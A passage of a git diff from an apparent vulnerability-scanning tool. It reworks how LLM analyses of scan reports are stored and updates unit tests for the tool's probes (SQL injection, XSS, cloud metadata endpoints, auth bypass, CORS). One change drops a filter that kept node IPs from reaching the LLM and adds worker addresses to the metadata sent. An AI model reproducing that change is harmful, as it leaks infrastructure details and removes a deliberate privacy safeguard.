---------- job_id : str Identifier of the job. - aggregated_report : dict - Pre-aggregated scan data from all workers. - job_config : dict - Job configuration (from R1FS). + job_specs : dict + Job specification (will be updated with analysis CID). + workers : dict + Worker entries containing report data. + pass_nr : int, optional + Pass number for continuous monitoring jobs. Returns ------- str or None - LLM analysis markdown text if successful, None otherwise. + Analysis CID if successful, None otherwise. """ - target = job_config.get("target", "unknown") - self.P(f"Running aggregated LLM analysis for job {job_id}, target {target}...") + target = job_specs.get("target", "unknown") + run_mode = job_specs.get("run_mode", "SINGLEPASS") + pass_info = f" (pass {pass_nr})" if pass_nr else "" + self.P(f"Running aggregated LLM analysis for job {job_id}{pass_info}, target {target}...") + + # Collect and aggregate reports from all workers + aggregated_report = self._collect_aggregated_report(workers) if not aggregated_report: self.P(f"No data to analyze for job {job_id}", color='y') return None - # Add job metadata to report for context (strip node_ip — never send to LLM) - report_with_meta = {k: v for k, v in aggregated_report.items() if k != "node_ip"} - report_with_meta["_job_metadata"] = { + # Add job metadata to report for context + aggregated_report["_job_metadata"] = { "job_id": job_id, "target": target, - "start_port": job_config.get("start_port"), - "end_port": job_config.get("end_port"), - "enabled_features": job_config.get("enabled_features", []), - "run_mode": job_config.get("run_mode", RUN_MODE_SINGLEPASS), + "num_workers": len(workers), + "worker_addresses": list(workers.keys()), + "start_port": job_specs.get("start_port"), + "end_port": job_specs.get("end_port"), + "enabled_features": job_specs.get("enabled_features", []), + "run_mode": run_mode, + "pass_nr": pass_nr, } # Call LLM analysis - llm_analysis = self._auto_analyze_report(job_id, report_with_meta, target) + llm_analysis = self._auto_analyze_report(job_id, aggregated_report, target) if not llm_analysis or "error" in llm_analysis: self.P( @@ -287,53 +297,81 @@ def _run_aggregated_llm_analysis( ) return None - # Extract the markdown text from the analysis result - if isinstance(llm_analysis, dict): - return llm_analysis.get("content", llm_analysis.get("analysis", llm_analysis.get("markdown", str(llm_analysis)))) - return str(llm_analysis) + # Save analysis to R1FS + try: + analysis_cid = self.r1fs.add_json(llm_analysis, show_logs=False) + if analysis_cid: + # Always store in pass_reports for consistency (both SINGLEPASS and CONTINUOUS) + pass_reports = job_specs.get("pass_reports", []) + for entry in pass_reports: + if entry.get("pass_nr") == pass_nr: + entry["llm_analysis_cid"] = analysis_cid + break + self._emit_timeline_event( + job_specs, "llm_analysis", + f"LLM analysis completed for pass {pass_nr}", + meta={"analysis_cid": analysis_cid, "pass_nr": pass_nr} + ) + self.P(f"LLM analysis for pass {pass_nr} saved, CID: {analysis_cid}") + return analysis_cid + else: + self.P(f"Failed to save LLM analysis to R1FS for job {job_id}", color='y') + return None + except Exception as e: + self.P(f"Error saving LLM analysis to R1FS: {e}", color='r') + return None def _run_quick_summary_analysis( self, job_id: str, - aggregated_report: dict, - job_config: dict, - ) -> str | None: + job_specs: dict, + workers: dict, + pass_nr: int = None + ) -> Optional[str]: """ - Run a short (2-4 sentence) AI quick summary on a pre-aggregated report. + Run a short (2-4 sentence) AI quick summary on the aggregated report. - The caller aggregates once and passes the result. This method - no longer fetches node reports or saves to R1FS. + Same pattern as _run_aggregated_llm_analysis but uses the quick_summary + analysis type with a low token budget. Parameters ---------- job_id : str Identifier of the job. - aggregated_report : dict - Pre-aggregated scan data from all workers. - job_config : dict - Job configuration (from R1FS). + job_specs : dict + Job specification (will be updated with quick_summary_cid). + workers : dict + Worker entries containing report data. + pass_nr : int, optional + Pass number for continuous monitoring jobs. Returns ------- str or None - Quick summary text if successful, None otherwise. + Quick summary CID if successful, None otherwise. """ - target = job_config.get("target", "unknown") - self.P(f"Running quick summary analysis for job {job_id}, target {target}...") + target = job_specs.get("target", "unknown") + pass_info = f" (pass {pass_nr})" if pass_nr else "" + self.P(f"Running quick summary analysis for job {job_id}{pass_info}, target {target}...") + + # Collect and aggregate reports from all workers + aggregated_report = self._collect_aggregated_report(workers) if not aggregated_report: self.P(f"No data for quick summary for job {job_id}", color='y') return None - # Add job metadata to report for context (strip node_ip — never send to LLM) - report_with_meta = {k: v for k, v in aggregated_report.items() if k != "node_ip"} - report_with_meta["_job_metadata"] = { + # Add job metadata to report for context + aggregated_report["_job_metadata"] = { "job_id": job_id, "target": target, - "start_port": job_config.get("start_port"), - "end_port": job_config.get("end_port"), - "enabled_features": job_config.get("enabled_features", []), - "run_mode": job_config.get("run_mode", RUN_MODE_SINGLEPASS), + "num_workers": len(workers), + "worker_addresses": list(workers.keys()), + "start_port": job_specs.get("start_port"), + "end_port": job_specs.get("end_port"), + "enabled_features": job_specs.get("enabled_features", []), + "run_mode": job_specs.get("run_mode", "SINGLEPASS"), + "pass_nr": pass_nr, } # Call LLM analysis with quick_summary type @@ -341,7 +379,7 @@ def _run_quick_summary_analysis( endpoint="/analyze_scan", method="POST", payload={ - "scan_results": report_with_meta, + "scan_results": aggregated_report, "analysis_type": "quick_summary", "focus_areas": None, } @@ -354,10 +392,29 @@ def _run_quick_summary_analysis( ) return None - # Extract the summary text from the result - if isinstance(analysis_result, dict): - return analysis_result.get("content", analysis_result.get("summary", analysis_result.get("analysis", str(analysis_result)))) - return str(analysis_result) + # Save to R1FS + try: + summary_cid = self.r1fs.add_json(analysis_result, show_logs=False) + if summary_cid: + # Store in pass_reports + pass_reports = job_specs.get("pass_reports", []) + for entry in pass_reports: + if entry.get("pass_nr") == pass_nr: + entry["quick_summary_cid"] = summary_cid + break + self._emit_timeline_event( + job_specs, "llm_analysis", + f"Quick summary completed for pass {pass_nr}", + meta={"quick_summary_cid": summary_cid, "pass_nr": pass_nr} + ) + self.P(f"Quick summary for pass {pass_nr} saved, CID: {summary_cid}") + return summary_cid + else: + self.P(f"Failed to save quick summary to R1FS for job {job_id}", color='y') + return None + except Exception as e: + self.P(f"Error saving quick summary to R1FS: {e}", color='r') + return None def _get_llm_health_status(self) -> dict: """ diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 90a64e16..6c82b60e 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -4,7 +4,7 @@ import unittest from unittest.mock import MagicMock, patch -from extensions.business.cybersec.red_mesh.pentest_worker import PentestLocalWorker +from extensions.business.cybersec.red_mesh.redmesh_utils import PentestLocalWorker from xperimental.utils import color_print @@ -118,7 +118,7 @@ def fake_get(url, timeout=2, verify=False): side_effect=fake_get, ): result = worker._web_test_common("example.com", 80) - self._assert_has_finding(result, "Accessible resource") + self.assertIn("VULNERABILITY: Accessible resource", result) def test_cryptographic_failures_cookie_flags(self): owner, worker = self._build_worker() @@ -130,9 +130,9 @@ def test_cryptographic_failures_cookie_flags(self): return_value=resp, ): result = worker._web_test_flags("example.com", 443) - self._assert_has_finding(result, "Cookie missing Secure flag") - self._assert_has_finding(result, "Cookie missing HttpOnly flag") - self._assert_has_finding(result, "Cookie missing SameSite flag") + self.assertIn("VULNERABILITY: Cookie missing Secure flag", result) + self.assertIn("VULNERABILITY: Cookie missing HttpOnly flag", result) + self.assertIn("VULNERABILITY: Cookie missing SameSite flag", result) def test_injection_sql_detected(self): owner, worker = self._build_worker() @@ -168,7 +168,7 @@ def test_security_misconfiguration_missing_headers(self): return_value=resp, ): result = worker._web_test_security_headers("example.com", 80) - self._assert_has_finding(result, "Missing security header") + self.assertIn("VULNERABILITY: Missing security header", result) def test_vulnerable_component_banner_exposed(self): owner, worker = self._build_worker(ports=[80]) @@ -274,7 +274,7 @@ def test_software_data_integrity_secret_leak(self): return_value=resp, ): result = worker._web_test_homepage("example.com", 80) - self._assert_has_finding(result, "private key") + self.assertIn("VULNERABILITY: sensitive", result) def test_security_logging_tracks_flow(self): owner, worker = self._build_worker() @@ -371,9 +371,6 @@ def __enter__(self): def __exit__(self, exc_type, exc, tb): return False - def close(self): - pass - def version(self): return "TLSv1.3" @@ -449,9 +446,6 @@ def __enter__(self): def __exit__(self, exc_type, exc, tb): return False - def close(self): - pass - def version(self): return "TLSv1.2" @@ -505,7 +499,7 @@ def close(self): return None with patch( - "extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", + "extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", return_value=DummySocket(), ): worker._scan_ports_step() @@ -917,7 +911,7 @@ def test_web_graphql_introspection(self): return_value=resp, ): result = worker._web_test_graphql_introspection("example.com", 80) - self._assert_has_finding(result, "GraphQL introspection") + self.assertIn("VULNERABILITY: GraphQL introspection", result) def test_web_metadata_endpoint(self): owner, worker = self._build_worker() @@ -932,7 +926,7 @@ def fake_get(url, timeout=3, verify=False, headers=None): side_effect=fake_get, ): result = worker._web_test_metadata_endpoints("example.com", 80) - self._assert_has_finding(result, "Cloud metadata endpoint") + self.assertIn("VULNERABILITY: Cloud metadata endpoint", result) def test_web_api_auth_bypass(self): owner, worker = self._build_worker() @@ -943,7 +937,7 @@ def test_web_api_auth_bypass(self): return_value=resp, ): result = worker._web_test_api_auth_bypass("example.com", 80) - self._assert_has_finding(result, "API auth bypass") + self.assertIn("VULNERABILITY: API endpoint", result) def test_cors_misconfiguration_detection(self): owner, worker = self._build_worker() @@ -958,7 +952,7 @@ def test_cors_misconfiguration_detection(self): return_value=resp, ): result = worker._web_test_cors_misconfiguration("example.com", 80) - self._assert_has_finding(result, "CORS misconfiguration") + self.assertIn("VULNERABILITY: CORS misconfiguration", result) def test_open_redirect_detection(self): owner, worker = self._build_worker() @@ -970,7 +964,7 @@ def test_open_redirect_detection(self): return_value=resp, ): result = worker._web_test_open_redirect("example.com", 80) - self._assert_has_finding(result, "Open redirect") + self.assertIn("VULNERABILITY: Open redirect", result) def test_http_methods_detection(self): owner, worker = self._build_worker() @@ -982,7 +976,7 @@ def test_http_methods_detection(self): return_value=resp, ): result = worker._web_test_http_methods("example.com", 80) - self._assert_has_finding(result, "Risky HTTP methods") + self.assertIn("VULNERABILITY: Risky HTTP methods", result) # ===== NEW TESTS — findings.py ===== @@ -1208,7 +1202,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = modbus_response return mock_sock - with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", side_effect=fake_socket_factory): worker._active_fingerprint_ports() self.assertEqual(worker.state["port_protocols"][1024], "modbus") @@ -1227,7 +1221,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = b"" return mock_sock - with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", side_effect=fake_socket_factory): worker._active_fingerprint_ports() self.assertEqual(worker.state["port_protocols"][1024], "unknown") @@ -1247,7 +1241,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = fake_binary return mock_sock - with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", side_effect=fake_socket_factory): worker._scan_ports_step() self.assertNotEqual(worker.state["port_protocols"][37364], "mysql") @@ -1269,7 +1263,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = mysql_greeting return mock_sock - with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", side_effect=fake_socket_factory): worker._scan_ports_step() self.assertEqual(worker.state["port_protocols"][3306], "mysql") @@ -1288,7 +1282,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = telnet_banner return mock_sock - with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", side_effect=fake_socket_factory): worker._scan_ports_step() self.assertEqual(worker.state["port_protocols"][2323], "telnet") @@ -1307,7 +1301,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = fake_binary return mock_sock - with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", side_effect=fake_socket_factory): worker._scan_ports_step() self.assertNotEqual(worker.state["port_protocols"][8502], "telnet") @@ -1325,7 +1319,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = login_banner return mock_sock - with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", side_effect=fake_socket_factory): worker._scan_ports_step() self.assertEqual(worker.state["port_protocols"][2323], "telnet") @@ -1353,7 +1347,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = bad_modbus return mock_sock - with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", side_effect=fake_socket_factory): worker._active_fingerprint_ports() self.assertNotEqual(worker.state["port_protocols"][1024], "modbus") @@ -1373,7 +1367,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = fake_pkt return mock_sock - with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.redmesh_utils.socket.socket", side_effect=fake_socket_factory): worker._scan_ports_step() self.assertNotEqual(worker.state["port_protocols"][9999], "mysql") @@ -2574,4849 +2568,6 @@ def test_launch_fails_if_r1fs_unavailable(self): self.assertIsNone(job_specs) -class TestPhase2PassFinalization(unittest.TestCase): - """Phase 2: Single Aggregation + Consolidated Pass Reports.""" - - @classmethod - def _mock_plugin_modules(cls): - """Install mock modules so pentester_api_01 can be imported without naeural_core.""" - if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: - return - TestPhase1ConfigCID._mock_plugin_modules() - - def _get_plugin_class(self): - self._mock_plugin_modules() - from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin - return PentesterApi01Plugin - - def _build_finalize_plugin(self, job_id="test-job", job_pass=1, run_mode="SINGLEPASS", - llm_enabled=False, r1fs_returns=None): - """Build a mock plugin pre-configured for _maybe_finalize_pass testing.""" - plugin = MagicMock() - plugin.ee_addr = "launcher-node" - plugin.ee_id = "launcher-alias" - plugin.cfg_instance_id = "test-instance" - plugin.cfg_llm_agent_api_enabled = llm_enabled - plugin.cfg_llm_agent_api_host = "localhost" - plugin.cfg_llm_agent_api_port = 8080 - plugin.cfg_llm_agent_api_timeout = 30 - plugin.cfg_llm_auto_analysis_type = "security_assessment" - plugin.cfg_monitor_interval = 60 - plugin.cfg_monitor_jitter = 0 - plugin.cfg_attestation_min_seconds_between_submits = 300 - plugin.time.return_value = 1000100.0 - plugin.json_dumps.return_value = "{}" - - # R1FS mock - plugin.r1fs = MagicMock() - cid_counter = {"n": 0} - def fake_add_json(data, show_logs=True): - cid_counter["n"] += 1 - if r1fs_returns is not None: - return r1fs_returns.get(cid_counter["n"], f"QmCID{cid_counter['n']}") - return f"QmCID{cid_counter['n']}" - plugin.r1fs.add_json.side_effect = fake_add_json - - # Job config in R1FS - plugin.r1fs.get_json.return_value = { - "target": "example.com", "start_port": 1, "end_port": 1024, - "run_mode": run_mode, "enabled_features": [], "monitor_interval": 60, - } - - # Build job_specs with two finished workers - job_specs = { - "job_id": job_id, - "job_status": "RUNNING", - "job_pass": job_pass, - "run_mode": run_mode, - "launcher": "launcher-node", - "launcher_alias": "launcher-alias", - "target": "example.com", - "task_name": "Test", - "start_port": 1, - "end_port": 1024, - "date_created": 1000000.0, - "risk_score": 0, - "job_config_cid": "QmConfigCID", - "workers": { - "worker-A": {"start_port": 1, "end_port": 512, "finished": True, "report_cid": "QmReportA"}, - "worker-B": {"start_port": 513, "end_port": 1024, "finished": True, "report_cid": "QmReportB"}, - }, - "timeline": [{"type": "created", "label": "Created", "date": 1000000.0, "actor": "launcher-alias", "actor_type": "system", "meta": {}}], - "pass_reports": [], - } - - plugin.chainstore_hgetall.return_value = {job_id: job_specs} - plugin.chainstore_hset = MagicMock() - - return plugin, job_specs - - def _sample_node_report(self, start_port=1, end_port=512, open_ports=None, findings=None): - """Build a sample node report dict.""" - report = { - "start_port": start_port, - "end_port": end_port, - "open_ports": open_ports or [80, 443], - "ports_scanned": end_port - start_port + 1, - "nr_open_ports": len(open_ports or [80, 443]), - "service_info": {}, - "web_tests_info": {}, - "completed_tests": ["port_scan"], - "port_protocols": {"80": "http", "443": "https"}, - "port_banners": {}, - "correlation_findings": [], - } - if findings: - # Add findings under service_info for port 80 - report["service_info"] = { - "80": { - "_service_info_http": { - "findings": findings, - } - } - } - return report - - def test_single_aggregation(self): - """_collect_node_reports called exactly once per pass finalization.""" - PentesterApi01Plugin = self._get_plugin_class() - plugin, job_specs = self._build_finalize_plugin() - - # Mock _collect_node_reports and _get_aggregated_report - report_a = self._sample_node_report(1, 512, [80]) - report_b = self._sample_node_report(513, 1024, [443]) - plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a, "worker-B": report_b}) - plugin._get_aggregated_report = MagicMock(return_value={ - "open_ports": [80, 443], "service_info": {}, "web_tests_info": {}, - "completed_tests": ["port_scan"], "ports_scanned": 1024, - "nr_open_ports": 2, "port_protocols": {"80": "http", "443": "https"}, - }) - plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) - plugin._get_job_config = MagicMock(return_value={"target": "example.com", "monitor_interval": 60}) - plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 25, "breakdown": {}}, [])) - plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) - plugin._get_timeline_date = MagicMock(return_value=1000000.0) - plugin._emit_timeline_event = MagicMock() - - PentesterApi01Plugin._maybe_finalize_pass(plugin) - - # _collect_node_reports called exactly once - plugin._collect_node_reports.assert_called_once() - - def test_pass_report_cid_in_r1fs(self): - """PassReport stored in R1FS with correct fields.""" - PentesterApi01Plugin = self._get_plugin_class() - plugin, job_specs = self._build_finalize_plugin() - - report_a = self._sample_node_report(1, 512, [80]) - plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) - plugin._get_aggregated_report = MagicMock(return_value={ - "open_ports": [80], "service_info": {}, "web_tests_info": {}, - "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, - "port_protocols": {"80": "http"}, - }) - plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) - plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) - plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 10, "breakdown": {"findings_score": 5}}, [])) - plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) - plugin._get_timeline_date = MagicMock(return_value=1000000.0) - plugin._emit_timeline_event = MagicMock() - - PentesterApi01Plugin._maybe_finalize_pass(plugin) - - # r1fs.add_json called twice: once for aggregated data, once for PassReport - self.assertEqual(plugin.r1fs.add_json.call_count, 2) - - # Second call is the PassReport - pass_report_dict = plugin.r1fs.add_json.call_args_list[1][0][0] - self.assertEqual(pass_report_dict["pass_nr"], 1) - self.assertIn("aggregated_report_cid", pass_report_dict) - self.assertIn("worker_reports", pass_report_dict) - self.assertEqual(pass_report_dict["risk_score"], 10) - self.assertIn("risk_breakdown", pass_report_dict) - self.assertIn("date_started", pass_report_dict) - self.assertIn("date_completed", pass_report_dict) - - def test_aggregated_report_separate_cid(self): - """aggregated_report_cid is a separate R1FS write from the PassReport.""" - PentesterApi01Plugin = self._get_plugin_class() - plugin, job_specs = self._build_finalize_plugin(r1fs_returns={1: "QmAggCID", 2: "QmPassCID"}) - - report_a = self._sample_node_report(1, 512, [80]) - plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) - plugin._get_aggregated_report = MagicMock(return_value={ - "open_ports": [80], "service_info": {}, "web_tests_info": {}, - "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, - "port_protocols": {}, - }) - plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) - plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) - plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 0, "breakdown": {}}, [])) - plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) - plugin._get_timeline_date = MagicMock(return_value=1000000.0) - plugin._emit_timeline_event = MagicMock() - - PentesterApi01Plugin._maybe_finalize_pass(plugin) - - # First R1FS write = aggregated data, second = PassReport - agg_dict = plugin.r1fs.add_json.call_args_list[0][0][0] - pass_dict = plugin.r1fs.add_json.call_args_list[1][0][0] - - # The PassReport references the aggregated CID - self.assertEqual(pass_dict["aggregated_report_cid"], "QmAggCID") - - # Aggregated data should have open_ports (from AggregatedScanData) - self.assertIn("open_ports", agg_dict) - - def test_finding_id_deterministic(self): - """Same input produces same finding_id; different title produces different id.""" - PentesterApi01Plugin = self._get_plugin_class() - - aggregated = { - "open_ports": [80], "ports_scanned": 100, "nr_open_ports": 1, - "port_protocols": {"80": "http"}, - "service_info": { - "80": { - "_service_info_http": { - "findings": [ - {"title": "SQL Injection", "severity": "HIGH", "cwe_id": "CWE-89", "confidence": "firm"}, - ] - } - } - }, - "web_tests_info": {}, - "correlation_findings": [], - } - - risk1, findings1 = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated) - risk2, findings2 = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated) - - self.assertEqual(findings1[0]["finding_id"], findings2[0]["finding_id"]) - - # Different title → different finding_id - aggregated2 = { - "open_ports": [80], "ports_scanned": 100, "nr_open_ports": 1, - "port_protocols": {"80": "http"}, - "service_info": { - "80": { - "_service_info_http": { - "findings": [ - {"title": "XSS Vulnerability", "severity": "HIGH", "cwe_id": "CWE-79", "confidence": "firm"}, - ] - } - } - }, - "web_tests_info": {}, - "correlation_findings": [], - } - _, findings3 = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated2) - self.assertNotEqual(findings1[0]["finding_id"], findings3[0]["finding_id"]) - - def test_finding_id_cwe_collision(self): - """Same CWE, different title, same port+probe → different finding_ids.""" - PentesterApi01Plugin = self._get_plugin_class() - - aggregated = { - "open_ports": [80], "ports_scanned": 100, "nr_open_ports": 1, - "port_protocols": {"80": "http"}, - "service_info": { - "80": { - "_web_test_xss": { - "findings": [ - {"title": "Reflected XSS in search", "severity": "HIGH", "cwe_id": "CWE-79", "confidence": "certain"}, - {"title": "Stored XSS in comment", "severity": "HIGH", "cwe_id": "CWE-79", "confidence": "certain"}, - ] - } - } - }, - "web_tests_info": {}, - "correlation_findings": [], - } - - _, findings = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated) - self.assertEqual(len(findings), 2) - self.assertNotEqual(findings[0]["finding_id"], findings[1]["finding_id"]) - - def test_finding_enrichment_fields(self): - """Each finding has finding_id, port, protocol, probe, category.""" - PentesterApi01Plugin = self._get_plugin_class() - - aggregated = { - "open_ports": [443], "ports_scanned": 100, "nr_open_ports": 1, - "port_protocols": {"443": "https"}, - "service_info": { - "443": { - "_service_info_ssl": { - "findings": [ - {"title": "Weak TLS", "severity": "MEDIUM", "cwe_id": "CWE-326", "confidence": "certain"}, - ] - } - } - }, - "web_tests_info": {}, - "correlation_findings": [], - } - - _, findings = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated) - self.assertEqual(len(findings), 1) - f = findings[0] - self.assertIn("finding_id", f) - self.assertEqual(len(f["finding_id"]), 16) # 16-char hex - self.assertEqual(f["port"], 443) - self.assertEqual(f["protocol"], "https") - self.assertEqual(f["probe"], "_service_info_ssl") - self.assertEqual(f["category"], "service") - - def test_port_protocols_none(self): - """port_protocols is None → protocol defaults to 'unknown' (no crash).""" - PentesterApi01Plugin = self._get_plugin_class() - - aggregated = { - "open_ports": [22], "ports_scanned": 100, "nr_open_ports": 1, - "port_protocols": None, - "service_info": { - "22": { - "_service_info_ssh": { - "findings": [ - {"title": "Weak SSH key", "severity": "LOW", "cwe_id": "CWE-320", "confidence": "firm"}, - ] - } - } - }, - "web_tests_info": {}, - "correlation_findings": [], - } - - _, findings = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated) - self.assertEqual(len(findings), 1) - self.assertEqual(findings[0]["protocol"], "unknown") - - def test_llm_success_no_llm_failed(self): - """LLM succeeds → llm_failed absent from serialized PassReport.""" - from extensions.business.cybersec.red_mesh.models import PassReport - - pr = PassReport( - pass_nr=1, date_started=1000.0, date_completed=1100.0, duration=100.0, - aggregated_report_cid="QmAgg", - worker_reports={}, - risk_score=50, - llm_analysis="# Analysis\nAll good.", - quick_summary="No critical issues found.", - llm_failed=None, # success - ) - d = pr.to_dict() - self.assertNotIn("llm_failed", d) - self.assertEqual(d["llm_analysis"], "# Analysis\nAll good.") - - def test_llm_failure_flag_and_timeline(self): - """LLM fails → llm_failed: True, timeline event added.""" - PentesterApi01Plugin = self._get_plugin_class() - plugin, job_specs = self._build_finalize_plugin(llm_enabled=True) - - report_a = self._sample_node_report(1, 512, [80]) - plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) - plugin._get_aggregated_report = MagicMock(return_value={ - "open_ports": [80], "service_info": {}, "web_tests_info": {}, - "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, - "port_protocols": {}, - }) - plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) - plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) - plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 10, "breakdown": {}}, [])) - plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) - plugin._get_timeline_date = MagicMock(return_value=1000000.0) - plugin._emit_timeline_event = MagicMock() - - # LLM returns None (failure) - plugin._run_aggregated_llm_analysis = MagicMock(return_value=None) - plugin._run_quick_summary_analysis = MagicMock(return_value=None) - - PentesterApi01Plugin._maybe_finalize_pass(plugin) - - # Check PassReport has llm_failed=True - pass_report_dict = plugin.r1fs.add_json.call_args_list[1][0][0] - self.assertTrue(pass_report_dict.get("llm_failed")) - - # Check timeline event was emitted for llm_failed - llm_failed_calls = [ - c for c in plugin._emit_timeline_event.call_args_list - if c[0][1] == "llm_failed" - ] - self.assertEqual(len(llm_failed_calls), 1) - # _emit_timeline_event(job_specs, "llm_failed", label, meta={"pass_nr": ...}) - call_kwargs = llm_failed_calls[0][1] # keyword args - meta = call_kwargs.get("meta", {}) - self.assertIn("pass_nr", meta) - - def test_aggregated_report_write_failure(self): - """R1FS fails for aggregated → pass finalization skipped, no partial state.""" - PentesterApi01Plugin = self._get_plugin_class() - # First R1FS write (aggregated) returns None = failure - plugin, job_specs = self._build_finalize_plugin(r1fs_returns={1: None, 2: "QmPassCID"}) - - report_a = self._sample_node_report(1, 512, [80]) - plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) - plugin._get_aggregated_report = MagicMock(return_value={ - "open_ports": [80], "service_info": {}, "web_tests_info": {}, - "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, - "port_protocols": {}, - }) - plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) - plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) - plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 0, "breakdown": {}}, [])) - plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) - plugin._get_timeline_date = MagicMock(return_value=1000000.0) - plugin._emit_timeline_event = MagicMock() - - PentesterApi01Plugin._maybe_finalize_pass(plugin) - - # CStore should NOT have pass_reports appended - self.assertEqual(len(job_specs["pass_reports"]), 0) - # CStore hset was called for intermediate status updates (COLLECTING, ANALYZING, FINALIZING) - # but NOT for finalization — verify job_status is NOT FINALIZED in the last write - for call_args in plugin.chainstore_hset.call_args_list: - value = call_args.kwargs.get("value") or call_args[1].get("value") if len(call_args) > 1 else None - if isinstance(value, dict): - self.assertNotEqual(value.get("job_status"), "FINALIZED") - - def test_pass_report_write_failure(self): - """R1FS fails for pass report → CStore pass_reports not appended.""" - PentesterApi01Plugin = self._get_plugin_class() - # First R1FS write (aggregated) succeeds, second (pass report) fails - plugin, job_specs = self._build_finalize_plugin(r1fs_returns={1: "QmAggCID", 2: None}) - - report_a = self._sample_node_report(1, 512, [80]) - plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) - plugin._get_aggregated_report = MagicMock(return_value={ - "open_ports": [80], "service_info": {}, "web_tests_info": {}, - "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, - "port_protocols": {}, - }) - plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) - plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) - plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 0, "breakdown": {}}, [])) - plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) - plugin._get_timeline_date = MagicMock(return_value=1000000.0) - plugin._emit_timeline_event = MagicMock() - - PentesterApi01Plugin._maybe_finalize_pass(plugin) - - # CStore should NOT have pass_reports appended - self.assertEqual(len(job_specs["pass_reports"]), 0) - # CStore hset was called for status updates but NOT for finalization - for call_args in plugin.chainstore_hset.call_args_list: - value = call_args.kwargs.get("value") or call_args[1].get("value") if len(call_args) > 1 else None - if isinstance(value, dict): - self.assertNotEqual(value.get("job_status"), "FINALIZED") - - def test_cstore_risk_score_updated(self): - """After pass, risk_score on CStore matches pass result.""" - PentesterApi01Plugin = self._get_plugin_class() - plugin, job_specs = self._build_finalize_plugin() - - report_a = self._sample_node_report(1, 512, [80]) - plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) - plugin._get_aggregated_report = MagicMock(return_value={ - "open_ports": [80], "service_info": {}, "web_tests_info": {}, - "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, - "port_protocols": 